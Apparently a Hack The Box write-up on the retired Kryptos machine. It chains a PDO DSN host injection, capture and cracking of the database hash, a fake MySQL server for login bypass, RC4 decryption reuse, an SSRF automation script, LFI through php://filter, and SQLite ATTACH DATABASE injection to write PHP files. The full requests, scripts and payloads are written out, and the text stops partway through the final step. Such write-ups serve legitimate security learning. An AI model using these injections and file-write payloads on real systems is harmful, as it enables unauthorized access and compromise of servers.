Hack The Box - Kryptos

Quick Summary

Hey guys today Kryptos retired and here’s my write-up about it. It’s one of the hardest boxes I’ve ever seen and it definitely taught me a lot. As you may have already guessed, it had a lot of cryptography stuff, it also had a long chain of web vulnerabilities, starting with authentication bypass and ending with SQL injection allowing arbitrary file write. It’s a Linux box and its ip is 10.10.10.129 , I added it to /etc/hosts as kryptos.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services :

1

2

3

4

5

6

7

8

9

10

11

12

root@kali:~/Desktop/HTB/boxes/kryptos# nmap -sV -sV -sT -o nmapinitial kryptos.htb

Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-12 21:50 EET

Nmap scan report for kryptos.htb (10.10.10.129)

Host is up (0.25s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 34.39 seconds



Only http on port 80 and ssh.

Initial Web Enumeration

http://kryptos.htb :



The index page is a login page titled Cryptor Login , I checked the directories with gobuster but the only interesting thing I got was a forbidden directory called dev :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

root@kali:~/Desktop/HTB/boxes/kryptos# gobuster -u http://kryptos.htb/ -w /usr/share/wordlists/dirb/common.txt -to 120s -t 100



=====================================================

Gobuster v2.0.1 OJ Reeves (@TheColonial)

=====================================================

[+] Mode : dir

[+] Url/Domain : http://kryptos.htb/

[+] Threads : 100

[+] Wordlist : /usr/share/wordlists/dirb/common.txt

[+] Status codes : 200,204,301,302,307,403

[+] Timeout : 2m0s

=====================================================

2019/09/12 22:56:57 Starting gobuster

=====================================================

/.htpasswd (Status: 403)

/.hta (Status: 403)

/.htaccess (Status: 403)

/cgi-bin/ (Status: 403)

/css (Status: 301)

/dev (Status: 403)

/index.php (Status: 200)

/server-status (Status: 403)



I tested the login page with test:test and I intercepted the request with burp :





Request :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST / HTTP/1.1

Host : kryptos.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://kryptos.htb/

Content-Type : application/x-www-form-urlencoded

Content-Length : 116

Cookie : PHPSESSID=99ub5git6oc7mka23ibjdorla2

Connection : close

Upgrade-Insecure-Requests : 1



username=test&password=test&db=cryptor&token=fe47b3105c71089f25ea5342c41d7d9eb972b989c22db6c70b1f8d1f9c967ace&login=



I noticed a parameter called db , I changed its value to test to see what will happen :

Request :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST / HTTP/1.1

Host : kryptos.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://kryptos.htb/

Content-Type : application/x-www-form-urlencoded

Content-Length : 113

Cookie : PHPSESSID=99ub5git6oc7mka23ibjdorla2

Connection : close

Upgrade-Insecure-Requests : 1



username=test&password=test&db=test&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=



Response :

1

2

3

4

5

6

7

8

9

10

11

HTTP/1.1 200 OK

Date : Thu, 12 Sep 2019 19:57:27 GMT

Server : Apache/2.4.29 (Ubuntu)

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate

Pragma : no-cache

Content-Length : 23

Connection : close

Content-Type : text/html; charset=UTF-8



PDOException code: 1044



I got a PDO exception, I searched for PDO and found this page. I looked at the user contributed notes and saw this example :

1

2

3



$db = new PDO( 'dblib:host=your_hostname;dbname=your_db;charset=UTF-8' , $user, $pass);





I guessed that the POST parameter db is being used in a similar code and dbname gets its value from it, so I thought of injecting that parameter with ;host=10.10.xx.xx and see If I can successfully change the host parameter.

Request :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST / HTTP/1.1

Host : kryptos.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://kryptos.htb/

Content-Type : application/x-www-form-urlencoded

Content-Length : 133

Cookie : PHPSESSID=99ub5git6oc7mka23ibjdorla2

Connection : close

Upgrade-Insecure-Requests : 1



username=test&password=test&db=cryptor;host=10.10.xx.xx&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=



Response :

1

2

3

4

5

6

7

8

9

10

11

HTTP/1.1 200 OK

Date : Thu, 12 Sep 2019 20:01:29 GMT

Server : Apache/2.4.29 (Ubuntu)

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate

Pragma : no-cache

Content-Length : 23

Connection : close

Content-Type : text/html; charset=UTF-8



PDOException code: 2002



I got another exception code ( 2002 ) which is Connection refused , I listened on port 3306 (Default mysql port) with nc to verify that I’m getting a connection, then I sent the same request again. And I got a connection :

1

2

3

4

5

6

root@kali:~/Desktop/HTB/boxes/kryptos# nc -lvnp 3306

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Listening on :::3306

Ncat: Listening on 0.0.0.0:3306

Ncat: Connection from 10.10.10.129.

Ncat: Connection from 10.10.10.129:47530.



We can run a fake mysql database and use this injection to make the server send the login query to our database, the database will respond that the credentials are valid and we will be able to bypass the authentication. However, to do this we need to get the database credentials and the login query, then depending on them we will setup the database.

Authentication Bypass: Getting Database Credentials

To get the database credentials I used metasploit ‘s module auxiliary/server/capture/mysql . It will run as a fake mysql server and capture the username and the password hash, the option JOHNPWFILE will save the hash in john format in an external file which we can use later to crack the hash.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

msf5 > use auxiliary/server/capture/mysql

msf5 auxiliary(server/capture/mysql) > show options

Module options (auxiliary/server/capture/mysql):



Name Current Setting Required Description

---- --------------- -------- -----------

CAINPWFILE no The local filename to store the hashes in Cain&Abel format

CHALLENGE 112233445566778899AABBCCDDEEFF1122334455 yes The 16 byte challenge

JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 3306 yes The local port to listen on.

SRVVERSION 5.5.16 yes The server version to report in the greeting response

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)





Auxiliary action:



Name Description

---- -----------

Capture





msf5 auxiliary(server/capture/mysql) > set JOHNPWFILE ./hash

JOHNPWFILE => ./hash

msf5 auxiliary(server/capture/mysql) > set SRVHOST 10.10.xx.xx

SRVHOST => 10.10.xx.xx

msf5 auxiliary(server/capture/mysql) > run

[*] Auxiliary module running as background job 0.



[*] Started service listener on 10.10.xx.xx:3306

[*] Server started.



After running the module I sent this request again :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST / HTTP/1.1

Host : kryptos.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://kryptos.htb/

Content-Type : application/x-www-form-urlencoded

Content-Length : 133

Cookie : PHPSESSID=99ub5git6oc7mka23ibjdorla2

Connection : close

Upgrade-Insecure-Requests : 1



username=test&password=test&db=cryptor;host=10.10.xx.xx&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=



And the server caught the credentials :

1

[+] 10.10.10.129:47538 - User: dbuser; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d; Database: cryptor



I cracked it with john :

1

2

3

4

5

6

7

8

9

10

root@kali:~/Desktop/HTB/boxes/kryptos# cat hash_mysqlna

dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

root@kali:~/Desktop/HTB/boxes/kryptos# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash_mysqlna

Using default input encoding: UTF-8

Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

krypt0n1te (dbuser)

1g 0:00:00:03 DONE (2019-09-12 22:15) 0.3184g/s 2054Kp/s 2054Kc/s 2054KC/s kryptic11..kry007

Use the "--show" option to display all of the cracked passwords reliably

Session completed



Database name : cryptor

Username : dbuser

Password : krypt0n1te

Now we need to create the database, create the database user dbuser and grant them permission to the database cryptor :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

root@kali:~/Desktop/HTB/boxes/kryptos

Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 38

Server version: 10.3.14-MariaDB-1 Debian buildd-unstable



Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.



Type ' help ;' or '\h' for help. Type '\c' to clear the current input statement.



MariaDB [( none )]> show databases ;

+

| Database |

+

| information_schema |

| mysql |

| performance_schema |

+

3 rows in set ( 0.002 sec)



MariaDB [( none )]> create database cryptor;

Query OK, 1 row affected (0.025 sec)



MariaDB [(none)]> show databases;

+

| Database |

+

| cryptor |

| information_schema |

| mysql |

| performance_schema |

+

4 rows in set ( 0.001 sec)



MariaDB [( none )]> use cryptor;

Database changed

MariaDB [cryptor]> grant all privileges on *.* to 'dbuser'@'%' identified by 'krypt0n1te';

Query OK, 0 rows affected (0.133 sec)



MariaDB [cryptor]>



Let’s test it :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

root@kali:~/Desktop/HTB/boxes/kryptos# mysql -u dbuser -p

Enter password:

Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 39

Server version: 10.3.14-MariaDB-1 Debian buildd-unstable



Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.



Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.



MariaDB [(none)]> use cryptor;

Database changed

MariaDB [cryptor]> show tables;

Empty set (0.001 sec)



MariaDB [cryptor]>



It’s working, dbuser can login and access cryptor .

By default the server listens on localhost only, I changed bind-address in /etc/mysql/mariadb.conf.d/50-server.cnf from 127.0.0.1 to 0.0.0.0 then I restarted the service.

1

2

3

4

5

6

7

root@kali:~/Desktop/HTB/boxes/kryptos# netstat -ntlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 4110/mysqld

tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/init

tcp6 0 0 :::111 :::* LISTEN 1/init

tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1971/java



Authentication Bypass: Getting Login Query

Now the server will be able to authenticate to the database as dbuser , however the login query will fail because the database is empty :

Request :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST / HTTP/1.1

Host : kryptos.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://kryptos.htb/

Content-Type : application/x-www-form-urlencoded

Content-Length : 133

Cookie : PHPSESSID=99ub5git6oc7mka23ibjdorla2

Connection : close

Upgrade-Insecure-Requests : 1



username=test&password=test&db=cryptor;host=10.10.xx.xx&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=



Response :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

HTTP/1.1 200 OK

Date : Thu, 12 Sep 2019 20:29:54 GMT

Server : Apache/2.4.29 (Ubuntu)

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate

Pragma : no-cache

Vary : Accept-Encoding

Content-Length : 966

Connection : close

Content-Type : text/html; charset=UTF-8





<html>

<head>

<title>Cryptor Login</title>

<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">

</head>

<body>

<div class="container-fluid">

<div class="container">

<h2>Cryptor Login</h2>

<form action="" method="post">

<div class="form-group">

<label for="Username">Username:</label>

<input type="text" class="form-control" id="username" name="username" placeholder="Enter username">

</div>

<div class="form-group">

<label for="password">Password:</label>

<input type="password" class="form-control" id="password" name="password" placeholder="Enter password">

</div>

<input type="hidden" id="db" name="db" value="cryptor">

<input type="hidden" name="token" value="1a379390e91abff83331c45c58db799820077653e0c857312c8c64ea34d94028" />

<button type="submit" class="btn btn-primary" name="login">Submit</button>

</form>

<div class="alert alert-danger">

Nope.</div>

</div>

</body>

</html>



I ran tcpdump on tun0 then I sent the login request again with these credentials : rick:rick

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST / HTTP/1.1

Host : kryptos.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://kryptos.htb/

Content-Type : application/x-www-form-urlencoded

Content-Length : 133

Cookie : PHPSESSID=99ub5git6oc7mka23ibjdorla2

Connection : close

Upgrade-Insecure-Requests : 1



username=rick&password=rick&db=cryptor;host=10.10.xx.xx&token=04621e3945efee9172f45070c43020e6615cccc81d5cc3d69f5e6f93a53321e2&login=



tcpdump :

1

2

3

4

5

6

root@kali:~/Desktop/HTB/boxes/kryptos# tcpdump -i tun0 -w cap.pcap

tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes

^C27 packets captured

27 packets received by filter

0 packets dropped by kernel

root@kali:~/Desktop/HTB/boxes/kryptos#



Then I opened the pcap file in wireshark and got the query :



1

SELECT username, password FROM users WHERE username= 'rick' AND password = '891f490e5d7bdb06d90d56f8d7db405f'



Authentication Bypass: Setting-up the Database

From the query now we know that we need to create a table called users with the columns username and paassword , we also know that the passwords are saved md5 hashed as we saw for the password rick in the query :

1

2

3

4

from hashlib import md5

print md5( "rick" ).hexdigest()

891 f490e5d7bdb06d90d56f8d7db405f

>>>



I created the table users with the columns username , password :

1

2

3

4

5

6

7

8

9

10

11

12

13

root@kali:~/Desktop/HTB/boxes/kryptos

Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 43

Server version: 10.3.14-MariaDB-1 Debian buildd-unstable



Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.



Type ' help ;' or '\h' for help. Type '\c' to clear the current input statement.



MariaDB [( none )]> use cryptor;

Database changed

MariaDB [cryptor]> create table users ( username varchar(40) not null, password varchar(40) not null );

Query OK, 0 rows affected (0.409 sec)



Then I inserted my credentials ( rick:rick ) :

1

2

MariaDB [cryptor]> insert into users ( username, password ) values ( 'rick', '891f490e5d7bdb06d90d56f8d7db405f' );

Query OK, 1 row affected (0.149 sec)



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

MariaDB [cryptor]> show tables;

+

| Tables_in_cryptor |

+

| users |

+

1 row in set ( 0.001 sec)



MariaDB [cryptor]> select * from users ;

+

| username | password |

+

| rick | 891f490e5d7bdb06d90d56f8d7db405f |

+

1 row in set ( 0.103 sec)



Let’s test the query :

1

2

3

4

5

6

7

8

9

MariaDB [cryptor]> SELECT username, password FROM users WHERE username='rick' AND password='891f490e5d7bdb06d90d56f8d7db405f';

+

| username | password |

+

| rick | 891f490e5d7bdb06d90d56f8d7db405f |

+

1 row in set ( 0.004 sec)



MariaDB [cryptor]>



It’s working.

Now we can simply go to the login page, edit the form input id and inject the host parameter then login with rick:rick .

RC4

After getting in I got this application which had 2 pages, first one was to encrypt a file :



Second one was to decrypt a file but it was under construction :



The encryption page had two encryption methods, AES-CBC and RC4 , I searched about RC4 and read about it here. As the article said, RC4 is a stream cipher and it’s XOR based. The article also gave an example :

1

2

3

4

5

RC4 Encryption

10011000 ? 01010000 = 11001000



RC4 Decryption

11001000 ? 01010000 = 10011000



As you can see, decryption and encryption are the exact same operation, which means that applying the encryption function on encrypted data will eventually decrypt that data if the key is the same used to encrypt it before. In other words, we can use the RC4 encryption option in encrypt.php to encrypt and decrypt data. Let’s test it.

I created a file called test.txt with the word test in it, then I hosted it on a python server :

1

2

3

root@kali:~/Desktop/HTB/boxes/kryptos# echo test > test.txt

root@kali:~/Desktop/HTB/boxes/kryptos# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...



Then I encrypted it :





It returned a base-64 encoded string, if we try to decode it we will get nothing readable because the data is encrypted :

1

2

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'LFuc6DA=' | base64 -d

,[0



I decoded it and saved the result in another file and called it test2.txt then I ran the python server again :

1

2

3

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'LFuc6DA=' | base64 -d > test2.txt

root@kali:~/Desktop/HTB/boxes/kryptos# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...



I applied the same encryption on the encrypted file :





And I got the original data decrypted :

1

2

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'dGVzdAo=' | base64 -d

test



SSRF

Great, we can encrypt and decrypt files, but reading our files isn’t really helpful. Earlier during the initial enumeration there was a forbidden directory /dev . When we provide a url to /encrypt.php to request a file and encrypt it the requests were made by the server, so I tested for server side request forgery :





1

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'ZFab8VZUIV5qu5rKj1SWoME9ZBewRadWNQ4YR9dM/657ZSgW9mfb4h2q32cxgq1+M67NnqRzOMvibBdA9jHboYr6oC+fzHibzR903NzgQBTbcJMhLkhQPRkVpQheiyKIY0NIhL1gwSXAlLTsXxtTDF/RmUlTRvdraDyTHEb0slCruyQ+DUxVMbjR/wmRfZcjP0l8t4XKSdOulLrHZskwsku1mIupShlgyyaRsvWXlbRbU32t4wMYrN7AZWTihxwSmNd+yaGQ85wh3RqJuBXLcFBb3HkM1A==' | base64 -d > dev.enc







1

2

3

4

5

6

7

8

9

10

11

12

13

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'PGh0bWw+CiAgICA8aGVhZD4KICAgIDwvaGVhZD4KICAgIDxib2R5PgoJPGRpdiBjbGFzcz0ibWVudSI+CgkgICAgPGEgaHJlZj0iaW5kZXgucGhwIj5NYWluIFBhZ2U8L2E+CgkgICAgPGEgaHJlZj0iaW5kZXgucGhwP3ZpZXc9YWJvdXQiPkFib3V0PC9hPgoJICAgIDxhIGhyZWY9ImluZGV4LnBocD92aWV3PXRvZG8iPlRvRG88L2E+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cg==' | base64 -d

< html >

< head >

</ head >

< body >

< div class = "menu" >

< a href = "index.php" > Main Page </ a >

< a href = "index.php?view=about" > About </ a >

< a href = "index.php?view=todo" > ToDo </ a >

</ div >

</ body >

</ html >

root@kali:~/Desktop/HTB/boxes/kryptos#



It worked.

This process of “encryption –> decoding and saving to a file –> decryption –> decoding” was a lot of steps and doing it manually through burp or the browser wasn’t efficient, so I wrote a script to automate it :

ssrf.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53



import requests

from os import system

from base64 import b64decode



N = 1

cookies = { "PHPSESSID" : "99ub5git6oc7mka23ibjdorla2" }



def encrypt (url) :

params = { 'cipher' : 'RC4' , 'url' : url}

req = requests.get( "http://kryptos.htb/encrypt.php" ,params=params,cookies=cookies)

response = req.text

start = "id=\"output\">"

end = "</textarea>"

result = response[response.find(start)+len(start):response.rfind(end)]

return result



def decrypt (filename) :

url = "http://10.10.xx.xx/" + filename

params = { 'cipher' : 'RC4' , 'url' : url}

req = requests.get( "http://kryptos.htb/encrypt.php" ,params=params,cookies=cookies)

response = req.text

start = "id=\"output\">"

end = "</textarea>"

result = response[response.find(start)+len(start):response.rfind(end)]

result = b64decode(result)

return result



def create_file (data) :

global N

filename = "ENCRYPTED_" + str(N)

data = b64decode(data)

with open(filename, "wb" ) as f:

f.write(data)

f.close()

return filename



YELLOW = "\033[93m"

GREEN = "\033[32m"



while True :

url = input(GREEN + "[?] URL : " )

if url == "EXIT" :

system( "rm ./ENCRYPTED_* && rm ./OUTPUT_*" )

exit()

result = decrypt(create_file(encrypt(url)))

outfile = "OUTPUT_" + str(N)

with open(outfile, "wb" ) as f:

f.write(result)

f.close()

print(YELLOW + "[*] Result :" )

system( "cat ./" + outfile)

N+= 1



This script sends a request to /encrypt.php with the given url , then it retrieves the encrypted data and saves it in a file. It sends another request to /encrypt.php with the url to the encrypted file then it retrieves the decrypted data, saves it in a file then it prints it.

It saves encrypted files and decrypted files and names them according to this pattern : ENCRYPTED_N , OUTPUT_N where N is a number which is incremented by 1 every request.

I created a directory and called it ssrf , I ran a python server there then I ran my script :



/dev :

1

2

3

4

5

6

7

8

9

10

11

12

13

[?] URL : http://127.0.0.1/dev/

[*] Result :

< html >

< head >

</ head >

< body >

< div class = "menu" >

< a href = "index.php" > Main Page </ a >

< a href = "index.php?view=about" > About </ a >

< a href = "index.php?view=todo" > ToDo </ a >

</ div >

</ body >

</ html >



I went to /dev/index.php?view=todo and I found some interesting stuff :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

[?] URL : http://127.0.0.1/dev/index.php?view=todo

[*] Result :

< html >

< head >

</ head >

< body >

< div class = "menu" >

< a href = "index.php" > Main Page </ a >

< a href = "index.php?view=about" > About </ a >

< a href = "index.php?view=todo" > ToDo </ a >

</ div >

< h3 > ToDo List: </ h3 >

1) Remove sqlite_test_page.php

< br > 2) Remove world writable folder which was used for sqlite testing

< br > 3) Do the needful

< h3 > Done: </ h3 >

1) Restrict access to /dev

< br > 2) Disable dangerous PHP functions



</ body >

</ html >



There were 2 “done” things in this todo list : restricting access to /dev and disabling dangerous php functions which will be a problem if we could somehow upload/write files. However the things that haven’t been done yet were removing a php page called sqlite_test_page.php and removing a folder writable by everyone which was used for sqlite testing, probably used by the sqlite_test_page.php

I went to /dev/sqlite_test_page.php but I only got an empty html page :

1

2

3

4

5

6

7

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php

[*] Result :

< html >

< head > </ head >

< body >

</ body >

</ html >



LFI

As we saw, /dev/index.php had a parameter called view which was used to view other pages, There was a possible local file inclusion vulnerability here so I tested on /index.php and it worked :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

[?] URL : http://127.0.0.1/dev/index.php?view=../index

[*] Result :

< html >

< head >

</ head >

< body >

< div class = "menu" >

< a href = "index.php" > Main Page </ a >

< a href = "index.php?view=about" > About </ a >

< a href = "index.php?view=todo" > ToDo </ a >

</ div >



< html >

< head >

< title > Cryptor Login </ title >

< link rel = "stylesheet" type = "text/css" href = "css/bootstrap.min.css" >

</ head >

< body >

< div class = "container-fluid" >

< div class = "container" >

< h2 > Cryptor Login </ h2 >

< form action = "" method = "post" >

< div class = "form-group" >

< label for = "Username" > Username: </ label >

< input type = "text" class = "form-control" id = "username" name = "username" placeholder = "Enter username" >

</ div >

< div class = "form-group" >

< label for = "password" > Password: </ label >

< input type = "password" class = "form-control" id = "password" name = "password" placeholder = "Enter password" >

</ div >

< input type = "hidden" id = "db" name = "db" value = "cryptor" >

< input type = "hidden" name = "token" value = "66fc3775dd9b849f2522417e51bd12cffc0e0196a7deb43b1cd9756b65d09e91" />

< button type = "submit" class = "btn btn-primary" name = "login" > Submit </ button >

</ form >

</ div >

</ body >

</ html >



</ body >

</ html >



I wanted to read the php code of sqlite_test_page.php to know what’s in there so I tried the php://filter/convert.base64-encode wrapper (got it from here) and it worked :

1

2

3

4

5

6

7

8

9

10

11

12

13

[?] URL : http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page

[*] Result :

< html >

< head >

</ head >

< body >

< div class = "menu" >

< a href = "index.php" > Main Page </ a >

< a href = "index.php?view=about" > About </ a >

< a href = "index.php?view=todo" > ToDo </ a >

</ div >

PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiRub19yZXN1bHRzID0gJF9HRVRbJ25vX3Jlc3VsdHMnXTsKJGJvb2tpZCA9ICRfR0VUWydib29raWQnXTsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYm9va3MgV0hFUkUgaWQ9Ii4kYm9va2lkOwppZiAoaXNzZXQoJGJvb2tpZCkpIHsKICAgY2xhc3MgTXlEQiBleHRlbmRzIFNRTGl0ZTMKICAgewogICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICAgIHsKCSAvLyBUaGlzIGZvbGRlciBpcyB3b3JsZCB3cml0YWJsZSAtIHRvIGJlIGFibGUgdG8gY3JlYXRlL21vZGlmeSBkYXRhYmFzZXMgZnJvbSBQSFAgY29kZQogICAgICAgICAkdGhpcy0+b3BlbignZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvYm9va3MuZGInKTsKICAgICAgfQogICB9CiAgICRkYiA9IG5ldyBNeURCKCk7CiAgIGlmKCEkZGIpewogICAgICBlY2hvICRkYi0+bGFzdEVycm9yTXNnKCk7CiAgIH0gZWxzZSB7CiAgICAgIGVjaG8gIk9wZW5lZCBkYXRhYmFzZSBzdWNjZXNzZnVsbHlcbiI7CiAgIH0KICAgZWNobyAiUXVlcnkgOiAiLiRxdWVyeS4iXG4iOwoKaWYgKGlzc2V0KCRub19yZXN1bHRzKSkgewogICAkcmV0ID0gJGRiLT5leGVjKCRxdWVyeSk7CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9Cn0KZWxzZQp7CiAgICRyZXQgPSAkZGItPnF1ZXJ5KCRxdWVyeSk7CiAgIHdoaWxlKCRyb3cgPSAkcmV0LT5mZXRjaEFycmF5KFNRTElURTNfQVNTT0MpICl7CiAgICAgIGVjaG8gIk5hbWUgPSAiLiAkcm93WyduYW1lJ10gLiAiXG4iOwogICB9CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9CiAgICRkYi0+Y2xvc2UoKTsKfQp9Cj8+CjwvYm9keT4KPC9odG1sPgo= </ body >

</ html >



SQLI –> Arbitrary File Write

sqlite_test_page.php :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42



$no_results = $_GET[ 'no_results' ];

$bookid = $_GET[ 'bookid' ];

$query = "SELECT * FROM books WHERE id=" .$bookid;

if ( isset ($bookid)) {

class MyDB extends SQLite3

{

function __construct ()

{



$this ->open( 'd9e28afcf0b274a5e0542abb67db0784/books.db' );

}

}

$db = new MyDB();

if (!$db){

echo $db->lastErrorMsg();

} else {

echo "Opened database successfully

" ;

}

echo "Query : " .$query. "

" ;



if ( isset ($no_results)) {

$ret = $db->exec($query);

if ($ret== FALSE )

{

echo "Error : " .$db->lastErrorMsg();

}

}

else

{

$ret = $db->query($query);

while ($row = $ret->fetchArray(SQLITE3_ASSOC) ){

echo "Name = " . $row[ 'name' ] . "

" ;

}

if ($ret== FALSE )

{

echo "Error : " .$db->lastErrorMsg();

}

$db->close();

}

}





It takes two parameters : no_results and bookid :

1

2

$no_results = $_GET[ 'no_results' ];

$bookid = $_GET[ 'bookid' ];



And it appends bookid to a sqlite query without any filtering :

1

$query = "SELECT * FROM books WHERE id=" .$bookid;



We also can see the name of the writable directory d9e28afcf0b274a5e0542abb67db0784 :

1

2



$this ->open( 'd9e28afcf0b274a5e0542abb67db0784/books.db' );



With this SQL injection and the name of a writable directory, we can use the SQLite command Attach Database to write files (got it from here).

I tried a test file first so the payload was like this :

1

1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.php' AS test; CREATE TABLE test.pwn (dataz text ); INSERT INTO test.pwn (dataz) VALUES ( '<?php echo "test" ?>' );



First attempt failed apparently because of encoding issues so I url -encoded the payload and tried again:

1

2

3

4

5

6

7

8

9

